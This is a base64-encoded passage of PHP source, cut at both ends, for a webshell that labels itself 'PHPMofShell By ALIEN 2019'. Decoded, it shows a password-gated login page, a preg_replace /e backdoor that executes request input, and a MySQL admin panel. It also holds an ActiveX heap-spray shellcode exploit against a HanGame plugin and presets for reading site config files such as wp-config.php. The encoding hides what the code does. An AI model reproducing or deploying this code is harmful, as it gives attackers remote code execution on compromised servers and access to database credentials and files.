0b206NDAwcHg7Ij4KPGJyPjxicj48YnI+PGJyPjxmb3JtIG1ldGhvZD0ncG9zdCc+UGFzc1dvcmQ6IDxpbnB1dCBuYW1lPSdlbnZscGFzcycgdHlwZT0ncGFzc3dvcmQnIHNpemU9JzIwJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0xvZ2luJz48L2Zvcm0+PGJyPjxicj4KPC9kaXY+CjxjZW50ZXI+Wzxmb250IGNvbG9yPSJyZWQiPis8L2ZvbnQ+XSBDaGluYSBQSFAgU0hFTEwsIFN1cHBvcnQgTW9mIER1YWwtR3JvdXAgQ29uc3RydWN0aW9uIFJpZ2h0cyA8YnIgLz5bPGZvbnQgY29sb3I9InJlZCI+KzwvZm9udD5dIFBsZWFzZSBMb2dpbiBUbyBVc2U8YnIgLz5bPGZvbnQgY29sb3I9InJlZCI+KzwvZm9udD5dIERvIG5vdCB1c2UgaXQgZm9yIGlsbGVnYWwgcHVycG9zZXMsIG9yIHlvdSB3aWxsIGJlIHJlc3BvbnNpYmxlIGZvciBpdC48YnIgLz5bPGZvbnQgY29sb3I9ImdyZWVuIj4rPC9mb250Pl0gUEhQTW9mU2hlbGwgQnkgQUxJRU4gMjAxOTxiciAvPgo8L2NlbnRlcj48L3NwYW4+Cjxib2R5Pgo8L2h0bWw+CkVORDsKQHByZWdfcmVwbGFjZSgiL1tfXS9lIiwkX1JFUVVFU1RbJ2gnXSwiX18iKTt9ZnVuY3Rpb24gaHRtbF9zcWwoKXtodG1sX2lucHV0KCJ0ZXh0Iiwic3FsaG9zdCIsImxvY2FsaG9zdCIsIjxicj5NWVNRTOWcsOWdgCIsIjMwIik7aHRtbF9pbnB1dCgidGV4dCIsInNxbHBvcnQiLCIzMzA2IiwiPGJyPk1ZU1FM56uv5Y+jIiwiMzAiKTtodG1sX2lucHV0KCJ0ZXh0Iiwic3FsdXNlciIsInJvb3QiLCI8YnI+TVlTUUznlKjmiLciLCIzMCIpO2h0bWxfaW5wdXQoInBhc3N3b3JkIiwic3FscGFzcyIsIiIsIjxicj5NWVNRTOWvhueggSIsIjMwIik7aHRtbF9pbnB1dCgidGV4dCIsInNxbGRiIiwiZGJuYW1lIiwiPGJyPk1ZU1FM5bqT5ZCNIiwiMzAiKTtodG1sX2lucHV0KCJzdWJtaXQiLCJzcWxsb2dpbiIsIueZu+mZhiIsIjxicj4iKTtodG1sX24oJzwvZm9ybT4nKTt9CgpmdW5jdGlvbiBNeXNxbF9MZW4oJGRhdGEsJGxlbikKewoJaWYoc3RybGVuKCRkYXRhKSA8ICRsZW4pIHJldHVybiAkZGF0YTsKCXJldHVybiBzdWJzdHJfcmVwbGFjZSgkZGF0YSwnLi4uJywkbGVuKTsKfQoKZnVuY3Rpb24gaHRtbF9uKCRkYXRhKXsJCQoJZWNobyAiJGRhdGFcbiI7Cn0KCi8qLS0tY3NzLS0tKi8KCmZ1bmN0aW9uIGNzc19pbWcoJGltZyl7CgkkaW1hZ2VzID0gYXJyYXkoCgkiZXhlIj0+CgkiUjBsR09EbGhFd0FPQUtJQUFBQUFBUC8vL3dBQXZjYkd4b1NFaFAvLy93QUFBQUFBQUNINUJBRUFBQVVBTEFBQUFBQVRBQTRBQUFNNyIuCgkiV0xUY1RpV1NRYXV0QkVRMWhQK2dsMjFUS0FRQWlvN1M4THhhRzh4MFBiT2NyUWY0dE51OXdhOFdITktLUmw0c2wreTlZQnVBZEVxdCIuCgkieGhJQU93PT0iLAoJImRpciI9PiJSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vNXljQU03T1kvLy9uUC8venYvT25QZjM5Ly8vL3dBQUFBQUFBQUFBQUFBQUEiLgoJIkFBQUFBQUFBQUFBQUNINUJBRUFBQWdBTEFBQUFBQVRBQkFBQUFSUkVNbEpxNzA0NnlwNkJ4c2lIRVZCRUFLWUNVUHJEcDdIbFhSZEUiLgoJIm9NcUNlYnAvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSIsCgkidHh0Ij0+CgkiUjBsR09EbGhFd0FRQUtJQUFBQUFBUC8vLzhiR3hvU0VoUC8vL3dBQUFBQUFBQUFBQUNINUJBRUFBQVFBTEFBQUFBQVRBQkFBQUFOSiIuCgkiU0FyRTNsREpGa2E5MXJLcEEvRGdKM0pCYVo2bHNDa1c2cXFrQjRqekY4QlM2NTQ0VzlaQVc0K2cyNlZXeEY5d2Rvd1ptem5sRXVwNyIuCgkiVXBQV0czSWc2SHEvWG1SanVad2tBQUE3IiwKCSJodG1sIj0+CgkiUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzJ0cm5NM1AvRkJWaHJQTzlsNkl0b3l0MHloZ2srWHkvV0dwNHNYbC9pNlo0bWZkL0hOeiIuCgkiYy8vLy95SDVCQUVBQUE4QUxBQUFBQUFUQUJBQUFBU1Q4TWwzcXExbTZubUMvNEdoYkZvWEpFTzFDQU5EU29jaUdrYkFDSGkyMFUzUCIuCgkiS0lGR0lqQVFPRFNpQldPNU5BeFJSbVRnZ0Rna21NN0U2aWlwSFpZS0JWTlFTQlNpa3VrU3dXNGp5bWN1cFlGZ0lCcUwvTUs4S0JEayIuCgkiQmt4MkJYV0RmWDhURERhRkRBMEtCQWQ5Zm5JS0hYWUlCSmdIQlFPSGNnK1ZDaWtWQTV3THBZZ2JCS3VyRHF5c254TU9zN1Mxc3hJUiIuCgkiQURzPSIsCgkianMiPT4KCSJSMGxHT0RkaEVBQVFBQ0lBQUN3QUFBQUFFQUFRQUlMLy8vOEFBQUNBZ0lEQXdNRC8vd0NBZ0FBQUFBQUFBQUFEVUNpNjNDRWd4aWJIIi4KCSJrMEFRc0cyMDBBUVVKQmdBb01paGo1ZG1JeG5NSnh0cXExZGRFMEVXT2hzRzE2bTlNb29BaVNXRW1UaXVDNFR3MkJCMEw4RmdJQWhzIi4KCSJhMDBBallZQmJjL285SGpObmlVQUFEcz0iLAoJInhtbCI9PgoJIlIwbEdPRGxoRUFBUUFFUUFBQ0g1QkFFQUFCQUFMQUFBQUFBUUFCQUFoUC8vL3dBQUFQSHg4WWFHaGpObW1hYks4QUFBbVFBQWdBQ0EiLgoJImdET1pBRE5tL3pPWi96UC8vOERBd0RQTS93QUEvd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoJIkFBQUFBQUFBQUFBQUFBQUFBQVZrNENDT3BBaWQwQUNzYk5zTXFOcXVBaUEwQUp6U2RsOEh3TUJPVUtnaEVBcGJFU0JVRlF3QUJJQ3giLgoJIk9BQU14ZWJUaG1BNEVvY2F0Z25ZS2hhSmh4VXJJQk5yaDdqeXQvUFphKzBoWWMvbjAyVjRkelp1ZllWL1BJR0pib0tCUWtHUGtFRVEiLgoJIklRQTciLAoJIm1wMyI9PgoJIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBWUFMQUFBQUFBUUFCQUFnZ0FBQVAvLy80Q0FnTURBd0lDQUFQLy9BQUFBQUFBQUFBTlUiLgoJImFHclM3aXVLUUdzWUlxcHA2UWlaUkRRV1lBSUxRUVNBMmcybzRRb0FTSEd3dkJiQU4zR1gxcVhBK3IxYUJRSFJaSE1FRFNZQ3ozZmMiLgoJIklHdEdUOHdBVXdsdHp3V05XUlYzTERueFlNMXViNkduZUR3QkFEcz0iLAoJImltZyI9PgoJIlIwbEdPRGxoRUFBUUFETUFBQ0g1QkFFQUFBa0FMQUFBQUFBUUFCQUFnd0FBQVAvLy84REF3SUNBZ0lDQUFQOEFBQUQvQUlBQUFBQ0EiLgoJIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJjY01oSms3MGo2SzNGdUZiR2JVTHdKY1VoamdIZ0FrVXFFZ0pORUVBZ3hFY2kiLgoJIkNpOEFMc0FMYVhDR0pLNW8xQUdTQnNJQWNBQmdqZ0NFd0FNRVhwMEJCTUxsL0E2eDVXWnRQZlEyZzYrMGo4VngrN2I0L05acWdmdGQiLgoJIkZ4RUFPdz09IiwKCSJ0aXRsZSI9PiJSMGxHT0RsaERnQU9BTVFBQU9HbUdtWm1adi8veFZWVlZlVzZFK0syRi8rWkFITnpjZit2QUdkbmFmL0FBSHQxYWYrIi4KCSJtQVAvRkFQNjFBSHQ0YVhOemErV25GUC8vekFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCgkiQUNINUJBQUhBUDhBTEFBQUFBQU9BQTRBQUFWSllQSWNaR2srd1VNMGJPc1dveXUzNUt6Y2VPM3Nqc1R2RFIxUDR1TUZEdzJFRWtHVUwiLgoJIkk4TmhwVFJuRUtuVkFrV2F1Z2FKTjR1TjB5K2tyMk00Q0l5Y3dFV2c0VnBmb0NIQUFBNyIsCgkicmFyIj0+IlIwbEdPRGxoRUFBUUFQZi9BQUFBQUFBQWdBQUEvd0NBQUFEL0FBQ0FnSUFBQUlBQWdQOEEvNENBQVAvL0FNREF3UC8vL3dBQSIuCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KICAgICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgogICAgIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KICAgICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgogICAgIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KICAgICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgogICAgIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KICAgICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgogICAgIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KICAgICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFEL0FDSDVCQUVLQVA4QUxBQUFBQUFRQUJBQUFBaUZBUDBZRUVod29FRS8iLgogICAgIi94SXVFSmhnUVlLREJ4UCtXMmlnNGNPQ0JDY3lvSGpBUU1lUEhnZjZXYkR4Z0FJRUtGT21IRG1Td2NpUUlEc2lYTGd3Z1orYiIuCiAgICAiT0hPU1hKaXo1ODEvTFJjRTJMaWdxTkdpTEVrS1dDQ2dxVk9uTTFuYURPQ0hxdFdiTzMzNkJMcHpnQUlDWU1PR1JkZ3l3SUlDIi4KICAgICJhTk9tUmNqVmowMnRQeFBDemZrdklBQTciCgkpOwogIGhlYWRlcignQ29udGVudC10eXBlOiBpbWFnZS9naWYnKTsKICBlY2hvIGJhc2U2NF9kZWNvZGUoJGltYWdlc1skaW1nXSk7CiAgZGllKCk7Cn0KCmZ1bmN0aW9uIGNzc19zaG93aW1nKCRmaWxlKXsKCSRpdD1zdWJzdHIoJGZpbGUsLTMpOwoJc3dpdGNoKCRpdCl7CgkJY2FzZSAianBnIjogY2FzZSAiZ2lmIjogY2FzZSAiYm1wIjogY2FzZSAicG5nIjogY2FzZSAiaWNvIjogcmV0dXJuICdpbWcnO2JyZWFrOwoJCWNhc2UgImh0bSI6IGNhc2UgInRtbCI6IHJldHVybiAnaHRtbCc7YnJlYWs7CgkJY2FzZSAiZXhlIjogY2FzZSAiY29tIjogcmV0dXJuICdleGUnO2JyZWFrOwoJCWNhc2UgInhtbCI6IGNhc2UgImRvYyI6IHJldHVybiAneG1sJzticmVhazsKCQljYXNlICIuanMiOiBjYXNlICJ2YnMiOiByZXR1cm4gJ2pzJzticmVhazsKCQljYXNlICJtcDMiOiBjYXNlICJ3bWEiOiBjYXNlICJ3YXYiOiBjYXNlICJzd2YiOiBjYXNlICIucm0iOiBjYXNlICJhdmkiOmNhc2UgIm1wNCI6Y2FzZSAibXZiIjogcmV0dXJuICdtcDMnO2JyZWFrOwoJCWNhc2UgInJhciI6IGNhc2UgInRhciI6IGNhc2UgIi5neiI6IGNhc2UgInppcCI6Y2FzZSAiaXNvIjogcmV0dXJuICdyYXInO2JyZWFrOwogIAlkZWZhdWx0OiByZXR1cm4gJ3R4dCc7YnJlYWs7Cgl9Cn0KCmZ1bmN0aW9uIGNzc19qcygkbnVtLCRjb2RlID0gJycpewoJaWYoJG51bSA9PSAic2hlbGxjb2RlIil7CgkJcmV0dXJuICc8JUAgTEFOR1VBR0U9IkphdmFTY3JpcHQiICU+CgkJPCUKCQl2YXIgYWN0PW5ldyBBY3RpdmVYT2JqZWN0KCJIYW5HYW1lUGx1Z2luQ24xOC5IYW5HYW1lUGx1Z2luQ24xOC4xIik7CgkJdmFyIHNoZWxsY29kZSA9IHVuZXNjYXBlKCInLiRjb2RlLiciKTsKCQl2YXIgYmlnYmxvY2sgPSB1bmVzY2FwZSgiJXU5MDkwJXU5MDkwIik7CgkJdmFyIGhlYWRlcnNpemUgPSAyMDsKCQl2YXIgc2xhY2tzcGFjZSA9IGhlYWRlcnNpemUrc2hlbGxjb2RlLmxlbmd0aDsKCQl3aGlsZSAoYmlnYmxvY2subGVuZ3RoPHNsYWNrc3BhY2UpIGJpZ2Jsb2NrKz1iaWdibG9jazsKCQlmaWxsYmxvY2sgPSBiaWdibG9jay5zdWJzdHJpbmcoMCwgc2xhY2tzcGFjZSk7CgkJYmxvY2sgPSBiaWdibG9jay5zdWJzdHJpbmcoMCwgYmlnYmxvY2subGVuZ3RoLXNsYWNrc3BhY2UpOwoJCXdoaWxlKGJsb2NrLmxlbmd0aCtzbGFja3NwYWNlPDB4NDAwMDApIGJsb2NrID0gYmxvY2srYmxvY2srZmlsbGJsb2NrOwoJCW1lbW9yeSA9IG5ldyBBcnJheSgpOwoJCWZvciAoeD0wOyB4PDMwMDsgeCsrKSBtZW1vcnlbeF0gPSBibG9jayArIHNoZWxsY29kZTsKCQl2YXIgYnVmZmVyID0gIiI7CgkJd2hpbGUgKGJ1ZmZlci5sZW5ndGggPCAxMzE5KSBidWZmZXIrPSJBIjsKCQlidWZmZXI9YnVmZmVyKyJceDBhXHgwYVx4MGFceDBhIitidWZmZXI7CgkJYWN0Lmhnc19zdGFydE5vdGlmeShidWZmZXIpOwoJCSU+JzsKCX0KCWh0bWxfbignPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Jyk7CglpZigkbnVtID09ICIxIil7CglodG1sX24oJwlmdW5jdGlvbiBydXN1cmVjaGsobXNnLHVybCl7CgkJc21zZyA9ICJGaWxlTmFtZTpbIiArIG1zZyArICJdXG5QbGVhc2UgSW5wdXQgTmV3IEZpbGU6IjsKCQlyZSA9IHByb21wdChzbXNnLG1zZyk7CgkJaWYgKHJlKXsKCQkJdXJsID0gdXJsICsgcmU7CgkJCXdpbmRvdy5sb2NhdGlvbiA9IHVybDsKCQl9Cgl9CglmdW5jdGlvbiBydXN1cmVkZWwobXNnLHVybCl7CgkJc21zZyA9ICJEbyBZb3UgU3VlciBEZWxldGUgWyIgKyBtc2cgKyAiXSA/IjsKCQlpZihjb25maXJtKHNtc2cpKXsKCQkJVVJMID0gdXJsICsgbXNnOwoJCQl3aW5kb3cubG9jYXRpb24gPSB1cmw7CgkJfSAKCX0KCWZ1bmN0aW9uIERlbG9rKG1zZyxnb3VybCkKCXsKCQlzbXNnID0gIuehruWumuimgeWIoOmZpFsiICsgdW5lc2NhcGUobXNnKSArICJd5ZCXPyI7CgkJaWYoY29uZmlybShzbXNnKSkKCQl7CgkJCWlmKGdvdXJsID09IFwnYlwnKQoJCQl7CgkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2FjdGFsbFwnKS52YWx1ZSA9IGVzY2FwZShnb3VybCk7CgkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2ZpbGVhbGxcJykuc3VibWl0KCk7CgkJCX0KCQkJZWxzZSB3aW5kb3cubG9jYXRpb24gPSBnb3VybDsKCQl9Cgl9CglmdW5jdGlvbiBDaGVja0FsbChmb3JtKQoJewoJCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKQoJCXsKCQkJdmFyIGUgPSBmb3JtLmVsZW1lbnRzW2ldOwoJCQlpZiAoZS5uYW1lICE9IFwnY2hrYWxsXCcpCgkJCWUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7CgkJfQoJfQoJZnVuY3Rpb24gQ2hlY2tEYXRlKG1zZyxnb3VybCkKCXsKCQlzbXNnID0gIuW9k+WJjeaWh+S7tuaXtumXtDpbIiArIG1zZyArICJdIjsKCQlyZSA9IHByb21wdChzbXNnLG1zZyk7CgkJaWYocmUpCgkJewoJCQl2YXIgdXJsID0gZ291cmwgKyByZTsKCQkJdmFyIHJlZyA9IC9eKFxcZHsxLDR9KSgtfFxcLykoXFxkezEsMn0pXFwyKFxcZHsxLDJ9KSAoXFxkezEsMn0pOihcXGR7MSwyfSk6KFxcZHsxLDJ9KSQvOyAKCQkJdmFyIHIgPSByZS5tYXRjaChyZWcpOwoJCQlpZihyPT1udWxsKXthbGVydChcJ+aXpeacn+agvOW8j+S4jeato+ehriHmoLzlvI86eXl5eS1tbS1kZCBoaDptbTpzc1wnKTtyZXR1cm4gZmFsc2U7fQoJCQllbHNle2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnYWN0YWxsXCcpLnZhbHVlID0gZ291cmw7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnaW52ZXJcJykudmFsdWUgPSByZTsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdmaWxlYWxsXCcpLnN1Ym1pdCgpO30KCQl9Cgl9CglmdW5jdGlvbiBTdWJtaXRVcmwobXNnLHR4dCxhY3RpZCkKCXsKCQlyZSA9IHByb21wdChtc2csdW5lc2NhcGUodHh0KSk7CgkJaWYocmUpCgkJewoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2FjdGFsbFwnKS52YWx1ZSA9IGFjdGlkOwoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2ludmVyXCcpLnZhbHVlID0gZXNjYXBlKHJlKTsKCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdmaWxlYWxsXCcpLnN1Ym1pdCgpOwoJCX0KCX0nKTsKCX1lbHNlaWYoJG51bSA9PSAiMiIpewoJaHRtbF9uKCd2YXIgTlM0ID0gKGRvY3VtZW50LmxheWVycyk7CnZhciBJRTQgPSAoZG9jdW1lbnQuYWxsKTsKdmFyIHdpbiA9IHRoaXM7CnZhciBuID0gMDsKZnVuY3Rpb24gc2VhcmNoKHN0cil7Cgl2YXIgdHh0LCBpLCBmb3VuZDsKCWlmKHN0ciA9PSAiIilyZXR1cm4gZmFsc2U7CglpZihOUzQpewoJCWlmKCF3aW4uZmluZChzdHIpKSB3aGlsZSh3aW4uZmluZChzdHIsIGZhbHNlLCB0cnVlKSkgbisrOyBlbHNlIG4rKzsKCQlpZihuID09IDApIGFsZXJ0KHN0ciArICIgLi4uIE5vdC1GaW5kIikKCX0KCWlmKElFNCl7CgkJdHh0ID0gd2luLmRvY3VtZW50LmJvZHkuY3JlYXRlVGV4dFJhbmdlKCk7CgkJZm9yKGkgPSAwOyBpIDw9IG4gJiYgKGZvdW5kID0gdHh0LmZpbmRUZXh0KHN0cikpICE9IGZhbHNlOyBpKyspewoJCQl0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAxKTsKCQkJdHh0Lm1vdmVFbmQoInRleHRlZGl0IikKCQl9CgkJaWYoZm91bmQpe3R4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIC0xKTt0eHQuZmluZFRleHQoc3RyKTt0eHQuc2VsZWN0KCk7dHh0LnNjcm9sbEludG9WaWV3KCk7bisrfQoJCWVsc2V7aWYgKG4gPiAwKXtuID0gMDtzZWFyY2goc3RyKX1lbHNlIGFsZXJ0KHN0ciArICIuLi4gTm90LUZpbmQiKX0KCX0KCXJldHVybiBmYWxzZQp9CmZ1bmN0aW9uIENoZWNrRGF0ZSgpewoJdmFyIHJlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdtdGltZVwnKS52YWx1ZTsKCXZhciByZWcgPSAvXihcXGR7MSw0fSkoLXxcXC8pKFxcZHsxLDJ9KVxcMihcXGR7MSwyfSkgKFxcZHsxLDJ9KTooXFxkezEsMn0pOihcXGR7MSwyfSkkLzsgCgl2YXIgciA9IHJlLm1hdGNoKHJlZyk7CglpZihyPT1udWxsKXthbGVydChcJ+aXpeacn+agvOW8j+S4jeato+ehriHmoLzlvI86eXl5eS1tbS1kZCBoaDptbTpzc1wnKTtyZXR1cm4gZmFsc2U7fQoJZWxzZXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2VkaXRvclwnKS5zdWJtaXQoKTt9Cn0nKTsKfWVsc2VpZigkbnVtID09ICIzIil7CglodG1sX24oJ2Z1bmN0aW9uIEZ1bGwoaSl7CiAgIGlmKGk9PTAgfHwgaT09NSl7CiAgICAgcmV0dXJuIGZhbHNlOwogICB9CiAgU3RyID0gbmV3IEFycmF5KDEyKTsgIAoJU3RyWzFdID0gIlByb3ZpZGVyPU1pY3Jvc29mdC5KZXQuT0xFREIuNC4wO0RhdGEgU291cmNlPVxkYi5tZGIiOwoJU3RyWzJdID0gIkRyaXZlcj17U3FsIFNlcnZlcn07U2VydmVyPSwxNDMzO0RhdGFiYXNlPURiTmFtZTtVaWQ9c2E7UHdkPSoqKioiOwoJU3RyWzNdID0gIkRyaXZlcj17TXlTcWx9O1NlcnZlcj07UG9ydD0zMzA2O0RhdGFiYXNlPURiTmFtZTtVaWQ9cm9vdDtQd2Q9KioqKiI7CglTdHJbNF0gPSAiUHJvdmlkZXI9TVNEQU9SQS4xO1Bhc3N3b3JkPeWvhueggTtVc2VyIElEPeW4kOWPtztEYXRhIFNvdXJjZT3mnI3liqHlkI07UGVyc2lzdCBTZWN1cml0eSBJbmZvPVRydWU7IjsKCVN0cls2XSA9ICJTRUxFQ1QgKiBGUk9NIFtUYWJsZU5hbWVdIFdIRVJFIElEPDEwMCI7CglTdHJbN10gPSAiSU5TRVJUIElOVE8gW1RhYmxlTmFtZV0oVVNFUixQQVNTKSBWQUxVRVMoXCdlYW52ZXJcJyxcJ215cGFzc1wnKSI7CglTdHJbOF0gPSAiREVMRVRFIEZST00gW1RhYmxlTmFtZV0gV0hFUkUgSUQ9MTAwIjsKCVN0cls5XSA9ICJVUERBVEUgW1RhYmxlTmFtZV0gU0VUIFVTRVI9XCdlYW52ZXJcJyBXSEVSRSBJRD0xMDAiOwoJU3RyWzEwXSA9ICJDUkVBVEUgVEFCTEUgW1RhYmxlTmFtZV0oSUQgSU5UIElERU5USVRZICgxLDEpIE5PVCBOVUxMLFVTRVIgVkFSQ0hBUig1MCkpIjsKCVN0clsxMV0gPSAiRFJPUCBUQUJMRSBbVGFibGVOYW1lXSI7CglTdHJbMTJdID0gIkFMVEVSIFRBQkxFIFtUYWJsZU5hbWVdIEFERCBDT0xVTU4gUEFTUyBWQVJDSEFSKDMyKSI7CglTdHJbMTNdID0gIkFMVEVSIFRBQkxFIFtUYWJsZU5hbWVdIERST1AgQ09MVU1OIFBBU1MiOwoJaWYoaTw9NCl7CgkgIERiRm9ybS5zdHJpbmcudmFsdWUgPSBTdHJbaV07CiAgfWVsc2V7CiAgCURiRm9ybS5zcWwudmFsdWUgPSBTdHJbaV07CiAgfQogIHJldHVybiB0cnVlOwogIH0nKTsKfQplbHNlaWYoJG51bSA9PSAiNCIpewoJaHRtbF9uKCdmdW5jdGlvbiBGdWxsbChpKXsKICAgaWYoaT09MCl7CiAgICAgcmV0dXJuIGZhbHNlOwogICB9CiAgU3RyID0gbmV3IEFycmF5KDgpOyAgCglTdHJbMV0gPSAiY29uZmlnLmluYy5waHAiOwoJU3RyWzJdID0gImNvbmZpZy5pbmMucGhwIjsKCVN0clszXSA9ICJjb25maWdfYmFzZS5waHAiOwoJU3RyWzRdID0gImNvbmZpZy5pbmMucGhwIjsKCVN0cls1XSA9ICJjb25maWcucGhwIjsKCVN0cls2XSA9ICJ3cC1jb25maWcucGhwIjsKCVN0cls3XSA9ICJjb25maWcucGhwIjsKCVN0cls4XSA9ICJteXNxbC5waHAiOwoJc2Zvcm0uY29kZS52YWx1ZSA9IFN0cltpXTsKICByZXR1cm4gdHJ1ZTsKICB9Jyk7Cn0KaHRtbF9uKCc8L3NjcmlwdD4nKTsKfQoKZnVuY3Rpb24gY3NzX2xlZnQoKXsKCWh0bWxfbignPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCS5tZW51e3dpZHRoOjE0MHB4O21hcmdpbi1sZWZ0OmF1dG87bWFyZ2luLXJpZ2h0OmF1dG87fQoJLm1lbnUgZGx7bWFyZ2luLXRvcDoycHg7fQoJLm1lbnUgZGwgZHR7dG9wIGxlZnQgcmVwZWF0LXg7fQoJLm1lbnUgZGwgZHQgYXtoZWlnaHQ6MjJweDtwYWRkaW5nLXRvcDoxcHg7bGluZS1oZWlnaHQ6MThweDt3aWR0aDoxNDBweDtkaXNwbGF5OmJsb2NrO2NvbG9yOiNGRkZGRkY7Zm9udC13ZWlnaHQ6Ym9sZDsKCXRleHQtZGVjb3JhdGlvbjpub25lOyAxMHB4IDdweCBuby1yZXBlYXQ7dGV4dC1pbmRlbnQ6MjBweDtsZXR0ZXItc3BhY2luZzoycHg7fQoJLm1lbnUgZGwgZHQgYTpob3Zlcntjb2xvcjojZGRkZGRkO30KCS5tZW51IGRsIGRkIHVse2xpc3Qtc3R5bGU6bm9uZTt9CgkubWVudSBkbCBkZCB1bCBsaSBhe2NvbG9yOiM5ZjlmOWY7aGVpZ2h0OjIxcHg7d2lkb3dzOjE0MHB4O2Rpc3BsYXk6YmxvY2s7bGluZS1oZWlnaHQ6MjFweDt0ZXh0LWluZGVudDoyMnB4OwoJYmFja2dyb3VuZDojMjAyMDIwIG5vLXJlcGVhdCAxM3B4IDExcHg7Ym9yZGVyLWNvbG9yOiMyMDIwMjAgIzIwMjAyMCAjMjAyMDIwICMyMDIwMjA7bWFyZ2luLXRvcDoycHg7Cglib3JkZXItc3R5bGU6c29saWQ7Ym9yZGVyLXdpZHRoOjFweDt9CgkubWVudSBkbCBkZCB1bCBsaSBhOmhvdmVye2JhY2tncm91bmQ6I0ZGRiBuby1yZXBlYXQgMTNweCAxMXB4O2NvbG9yOiNGRjY2MDA7fQoJPC9TVFlMRT4nKTsKCWh0bWxfbignPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CglmdW5jdGlvbiBnZXRPYmplY3Qob2JqZWN0SWQpewoJIGlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkICYmIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKG9iamVjdElkKSkgewoJIHJldHVybiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChvYmplY3RJZCk7CgkgfQoJIGVsc2UgaWYgKGRvY3VtZW50LmFsbCAmJiBkb2N1bWVudC5hbGwob2JqZWN0SWQpKSB7CgkgcmV0dXJuIGRvY3VtZW50LmFsbChvYmplY3RJZCk7CgkgfQoJIGVsc2UgaWYgKGRvY3VtZW50LmxheWVycyAmJiBkb2N1bWVudC5sYXllcnNbb2JqZWN0SWRdKSB7CgkgcmV0dXJuIGRvY3VtZW50LmxheWVyc1tvYmplY3RJZF07CgkgfQoJIGVsc2UgewoJIHJldHVybiBmYWxzZTsKCSB9Cgl9CglmdW5jdGlvbiBzaG93SGlkZShvYmpuYW1lKXsKCSAgdmFyIG9iaiA9IGdldE9iamVjdChvYmpuYW1lKTsKCSAgICBpZihvYmouc3R5bGUuZGlzcGxheSA9PSAibm9u